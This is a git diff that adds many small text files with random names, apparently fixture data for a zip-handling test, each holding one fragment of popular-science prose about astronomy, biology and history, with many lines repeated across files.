diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/nbycyywe.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/nbycyywe.txt
new file mode 100644
index 0000000..08773d1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/nbycyywe.txt
@@ -0,0 +1 @@
+one. I am not aware of any other developmental variable that has such a high degree of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/nsmmewcsaiqodvdjewurqqd.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/nsmmewcsaiqodvdjewurqqd.txt
new file mode 100644
index 0000000..bbb7f97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/nsmmewcsaiqodvdjewurqqd.txt
@@ -0,0 +1 @@
+by every experiment performed to check it. Perhaps tomorrow someone will invent a theory
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/odvxlodgbwpmx.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/odvxlodgbwpmx.txt
new file mode 100644
index 0000000..362c430
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/odvxlodgbwpmx.txt
@@ -0,0 +1 @@
+which are themselves universe at the next level, and so on forever - an infinite downward
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/vlaiqoqigmrbj.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/vlaiqoqigmrbj.txt
new file mode 100644
index 0000000..22ef6de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/vlaiqoqigmrbj.txt
@@ -0,0 +1 @@
+stuffed into the known universe. Happily, there is a simpler and very concise way of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wcnzjydcwpvbfuovsr.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wcnzjydcwpvbfuovsr.txt
new file mode 100644
index 0000000..da90ce1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wcnzjydcwpvbfuovsr.txt
@@ -0,0 +1 @@
+2 x 10 5 x 1.5 x 10 8 km 10 14 km around, and its speed is therefore only 10 14 km/ 10 15 sec = 0.1 km/sec 220
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wjylsuqwkswiyihfv.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wjylsuqwkswiyihfv.txt
new file mode 100644
index 0000000..a2388fb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wjylsuqwkswiyihfv.txt
@@ -0,0 +1 @@
+world was created is ill-advised, and should be rejected. If God created the world,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wpqiazezdfraazvj.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wpqiazezdfraazvj.txt
new file mode 100644
index 0000000..82237d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/wpqiazezdfraazvj.txt
@@ -0,0 +1 @@
+consistent with the idea that a massive black hole is hidden there. Galaxies like the Milky
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/yyrbhojhyeflkscd.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/yyrbhojhyeflkscd.txt
new file mode 100644
index 0000000..a90246a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/yyrbhojhyeflkscd.txt
@@ -0,0 +1 @@
+Dividing both sides of the last equality by 2, we find
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/zdhtrkzdbtr.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/zdhtrkzdbtr.txt
new file mode 100644
index 0000000..2502577
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/zdhtrkzdbtr.txt
@@ -0,0 +1 @@
+the solar system and the only one with a substantial atmosphere. Prior to the encounter of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_ddmzyymxxfclepyxyjkj.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_ddmzyymxxfclepyxyjkj.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_ddmzyymxxfclepyxyjkj.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_dhzuqbfwdci.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_dhzuqbfwdci.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_dhzuqbfwdci.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_eettcffbwmreqgiodkbmmr.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_eettcffbwmreqgiodkbmmr.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_eettcffbwmreqgiodkbmmr.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_fefzzyrosvzuqf.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_fefzzyrosvzuqf.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_fefzzyrosvzuqf.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_iyqmogtuzccjqfnqpzsdw.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_iyqmogtuzccjqfnqpzsdw.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_iyqmogtuzccjqfnqpzsdw.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_kpkgenoyedlygbbemoz.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_kpkgenoyedlygbbemoz.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_kpkgenoyedlygbbemoz.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_kqwgolrlrenvseiglgjnqlv.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_kqwgolrlrenvseiglgjnqlv.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_kqwgolrlrenvseiglgjnqlv.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_lezbvvaosivoazwjvffw.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_lezbvvaosivoazwjvffw.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_lezbvvaosivoazwjvffw.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_mbicuztitfhhukxojzxsdrg.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_mbicuztitfhhukxojzxsdrg.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_mbicuztitfhhukxojzxsdrg.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_qqabbjrvikeboca.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_qqabbjrvikeboca.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_qqabbjrvikeboca.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_tcppmlumlnfz.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_tcppmlumlnfz.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_tcppmlumlnfz.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/file_xlzevfbpahrftyrji.txt b/big_zip/big-zip-files/folder_audzaobcpu/file_xlzevfbpahrftyrji.txt
new file mode 100644
index 0000000..14e4c07
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/file_xlzevfbpahrftyrji.txt
@@ -0,0 +1 @@
+chemical reactions, as enzymes do. Nucleotides have been put together into strands of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/cjkztzfyybmwxvo.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/cjkztzfyybmwxvo.txt
new file mode 100644
index 0000000..d787dd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/cjkztzfyybmwxvo.txt
@@ -0,0 +1 @@
+nor the authors. We do know that of the 123 plays of Sophocles in the Library, only seven
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/dnxajajajkvnlzjnebz.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/dnxajajajkvnlzjnebz.txt
new file mode 100644
index 0000000..a65f50e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/dnxajajajkvnlzjnebz.txt
@@ -0,0 +1 @@
+mutations that enhance survival, resulting in a series of slow transformations of one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/ezxwihlgpeeap.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/ezxwihlgpeeap.txt
new file mode 100644
index 0000000..7dc9182
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/ezxwihlgpeeap.txt
@@ -0,0 +1 @@
+whether my hypothesis would agree with the orbits of Copernicus or whether my joy was tovanish into thin air.’ But no matter how hard he tried, the solids and the planetary orbits did
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_ajunldoxm.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_ajunldoxm.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_ajunldoxm.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_awztuftkhvxetw.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_awztuftkhvxetw.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_awztuftkhvxetw.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_bdwcazmegkn.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_bdwcazmegkn.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_bdwcazmegkn.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_csyygqhgrkbfufluxvhgvag.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_csyygqhgrkbfufluxvhgvag.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_csyygqhgrkbfufluxvhgvag.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_evvrhoucouxuik.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_evvrhoucouxuik.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_evvrhoucouxuik.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_gelbbfosagbsoc.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_gelbbfosagbsoc.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_gelbbfosagbsoc.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_jirwfsmmg.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_jirwfsmmg.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_jirwfsmmg.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_kmjjhsutsfguri.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_kmjjhsutsfguri.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_kmjjhsutsfguri.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_prkvnxtgi.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_prkvnxtgi.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_prkvnxtgi.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_qxrcfpohcntyzskrybgfxv.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_qxrcfpohcntyzskrybgfxv.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_qxrcfpohcntyzskrybgfxv.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_rporbyvxmftvnl.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_rporbyvxmftvnl.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_rporbyvxmftvnl.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_tfbffozqggwzmhoiqzurvgpx.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_tfbffozqggwzmhoiqzurvgpx.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_tfbffozqggwzmhoiqzurvgpx.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_xhdogghifwihdsi.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_xhdogghifwihdsi.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_xhdogghifwihdsi.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_ybkjlcosfpuk.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_ybkjlcosfpuk.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_ybkjlcosfpuk.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_zestcwnilcbkilwtugxtkrgn.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_zestcwnilcbkilwtugxtkrgn.txt
new file mode 100644
index 0000000..abc6a04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/file_zestcwnilcbkilwtugxtkrgn.txt
@@ -0,0 +1 @@
+- those resembling photosynthesis as well as those resembling respiration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/fnzzgpjkh.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/fnzzgpjkh.txt
new file mode 100644
index 0000000..cb1017d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/fnzzgpjkh.txt
@@ -0,0 +1 @@
+that the plume was in exactly the position of one of the suspected volcanoes. Voyager had
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/gleripkvman.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/gleripkvman.txt
new file mode 100644
index 0000000..793783e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/gleripkvman.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000. You, too, can make up your
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/gtljcknwjyvlhfutwxrdqqc.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/gtljcknwjyvlhfutwxrdqqc.txt
new file mode 100644
index 0000000..ca0cb11
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/gtljcknwjyvlhfutwxrdqqc.txt
@@ -0,0 +1 @@
+Alexander. Within easy view of that leonine body is a modern microwave relay tower.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/jvmnljnpmestwlsdwuve.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/jvmnljnpmestwlsdwuve.txt
new file mode 100644
index 0000000..fa08513
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/jvmnljnpmestwlsdwuve.txt
@@ -0,0 +1 @@
+but, rather, it must be as old as all the other objects in the inner solar system.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/kgdljyizkitlpt.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/kgdljyizkitlpt.txt
new file mode 100644
index 0000000..20c1d8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/kgdljyizkitlpt.txt
@@ -0,0 +1 @@
+mostly carbon dioxide but also some molecular nitrogen and argon and very small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/ldhjolbqdbesonvoo.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/ldhjolbqdbesonvoo.txt
new file mode 100644
index 0000000..bcee897
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/ldhjolbqdbesonvoo.txt
@@ -0,0 +1 @@
+permitting many copies of a work to be made and distributed. It took a thousand years for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/lllhrdtekjvipal.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/lllhrdtekjvipal.txt
new file mode 100644
index 0000000..4aba550
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/lllhrdtekjvipal.txt
@@ -0,0 +1 @@
+civilizations with different planetary requirements would ignore each other, their filigree
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/onnncserowsfeg.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/onnncserowsfeg.txt
new file mode 100644
index 0000000..2b3b846
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/onnncserowsfeg.txt
@@ -0,0 +1 @@
+intelligent beings have about 10 14 neural connections, as we do. But there may be places
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/peiisgxwdrvfcuotngnpis.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/peiisgxwdrvfcuotngnpis.txt
new file mode 100644
index 0000000..12cc688
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/peiisgxwdrvfcuotngnpis.txt
@@ -0,0 +1 @@
+light. If they are very far, they must be intrinsically extremely bright to be visible over such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/pnzdjaeetpoqpg.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/pnzdjaeetpoqpg.txt
new file mode 100644
index 0000000..c690991
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/pnzdjaeetpoqpg.txt
@@ -0,0 +1 @@
+planet and among its fourteen or so moons. Voyager’s passage by Jupiter accelerated it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/qgbqhkgb.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/qgbqhkgb.txt
new file mode 100644
index 0000000..1b70dae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/qgbqhkgb.txt
@@ -0,0 +1 @@
+one reason that the unlocking of the cosmological mysteries requires us to use exotic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/sskqubvrjehpjjlyivab.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/sskqubvrjehpjjlyivab.txt
new file mode 100644
index 0000000..b63907e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/sskqubvrjehpjjlyivab.txt
@@ -0,0 +1 @@
+never see an end,’ or, ‘Anything you say or do on a Red Tongue Day is bound to come to naught:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/tqseydzcbpabb.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/tqseydzcbpabb.txt
new file mode 100644
index 0000000..0c6be1a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/tqseydzcbpabb.txt
@@ -0,0 +1 @@
+mutation in a nucleotide a ten-millionth of a centimeter across, that makes evolution go.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/udemhmwhktcdnwolenoexetp.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/udemhmwhktcdnwolenoexetp.txt
new file mode 100644
index 0000000..fc7644b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/udemhmwhktcdnwolenoexetp.txt
@@ -0,0 +1 @@
+nature’, as if nuclear war were practical, or as if there were only one human nature. Full-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/vaighfuqtmlsjihnfjwd.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/vaighfuqtmlsjihnfjwd.txt
new file mode 100644
index 0000000..6b1f6ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/vaighfuqtmlsjihnfjwd.txt
@@ -0,0 +1 @@
+In biology there is a principle of powerful if imperfect applicability called recapitulation: in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/wccabhlvplmuxleeiwqnpl.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/wccabhlvplmuxleeiwqnpl.txt
new file mode 100644
index 0000000..01a2c42
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/wccabhlvplmuxleeiwqnpl.txt
@@ -0,0 +1 @@
+* A Pythagorean named Hippasus published the secret of the ‘sphere with twelve pentagons’, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/wqbxnmddrolyyaccmrgdrmti.txt b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/wqbxnmddrolyyaccmrgdrmti.txt
new file mode 100644
index 0000000..cf4b46a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_audzaobcpu/folder_yqnpcggazv/wqbxnmddrolyyaccmrgdrmti.txt
@@ -0,0 +1 @@
+the red giant undergoes thermonuclear reactions, and the white dwarf briefly flares into
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_bofapobvmmdauttilrxs.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_bofapobvmmdauttilrxs.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_bofapobvmmdauttilrxs.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_ctgcbgymprvqpgtqhqocsyls.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_ctgcbgymprvqpgtqhqocsyls.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_avwsspjtpl/file_ctgcbgymprvqpgtqhqocsyls.txt
@@ -0,0 +1 @@
+assistant fell ill and Humason was asked if he might fill in. He displayed such skill and care
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_avwsspjtpl/file_dqaqdxulqvblpc.txt b/big_zip/big-zip-files/folder_avwsspjtpl/file_dqaqdxulqvblpc.txt
new file mode 100644
index 0000000..6008fd4
--- /dev/null
